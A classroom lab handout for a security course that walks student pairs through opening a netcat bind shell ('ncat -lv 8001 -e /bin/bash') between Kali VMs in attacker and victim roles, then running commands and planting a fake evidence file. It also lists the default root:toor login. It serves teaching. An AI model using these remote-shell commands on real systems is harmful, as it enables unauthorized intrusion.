## 1. Getting a command (CMD) shell

**Objective**: Understand how APT allows access into a corporate network.

Discussion: It is important to understand how attackers are able to obtain a shell on a remote system since it is common method of maintaining access and stealing data (exfiltration or exfil). netcat is a simple but powerful program for establishing connections. netcat derives it's name from the linux command for typing the contents of files: cat (short for concatenate – join)

**Scenario:** Two systems that can directly communicate to each other on an arbitrary port (i.e. there's no firewall or other device preventing them from communicating directly to each other.) Bob is the victim and Eve is the attacker, so one of you will be Bob for the duration of the assignment and other one Eve. When the first person is done, switch roles.

## **Preparation:**

- 1. Copy Kali from I:\xxxx\xxxx to your Desktop (it'll take a few moments)
  - a. Bridge mode w/ one proc, one thread, and 2G RAM
  - b. Log on  $\rightarrow$  root:toor
- 2. Change your Kali hostname
  - a. Open a terminal → nano /etc/hostname
  - b. Change Kali to your first initial & last name (ex: gwashington)
  - c. Ctrl+X to save same file & exit
  - d. Next  $\rightarrow$  nano /etc/hosts
  - e. Change *Kali* to your first initial & last name (ex: mwashington)
  - f. Reboot Kali VM, re-log, open a terminal & you should see your new hostname
    - i. Snip it, and now we're ready to go!

## 1. Let's IM on the DL

On Bob's computer, a listener (-1) (lower case L) is started on port 8001 and anyone that connects to it will get a command prompt on Bob's computer. The -v is for verbose mode. It is always a good option so you know what is going on as the shell is being setup.

**Bob**: ncat -lv 8001

**Eve:** Connects to Bob's computer on port 8001.

**ncat X.X.X.X 8001** Replace X.X.X.X with the IP address of Bob's computer.

While there may not be an obvious "you're in" sign ... type the following: "Rut roh ... I'm <*Your First Name*> in SEC250-Fall2018, and now on your host!"

• Look at each other's screen, and **Snip this** 

## 2. But your computer is my computer ...

On Bob's computer, a listener (-1) (lower case L) is started on port 8001 and anyone that connects to it will get a command prompt on Bob's computer. The -v is for verbose mode. It is always a good option so you know what is going on as the shell is being setup.

First, break the previous neat session.

Next, **Bob**: ncat -lv 8001 -e /bin/bash

**Eve:** Connects to Bob's computer on port 8001.

ncat X.X.X.X 8001 Replace X.X.X.X with the IP address of Bob's computer.

Eve should not see much, but is now logged into Bob's system and can type commands as if she was sitting in front of his host.

Eve: Run the command: hostname

You should see the computer name of the Bob's host.

Additionally, the command **ifconfig** which should display the IP address of the windows system of your partner.

Awesome! Now let's have some "fun" by having Eve type: touch FakeEvidenceHere.txt echo "password is 1337" > FakeEvidenceHere.txt

On Bob's host, open new terminal & enter the command: cat FakeEvidenceHere.txt

Take snips of both Eve's inputs, and Bob's "output".

Submission: Take a screenshot of the results above for the commands and now ... switch ncat roles!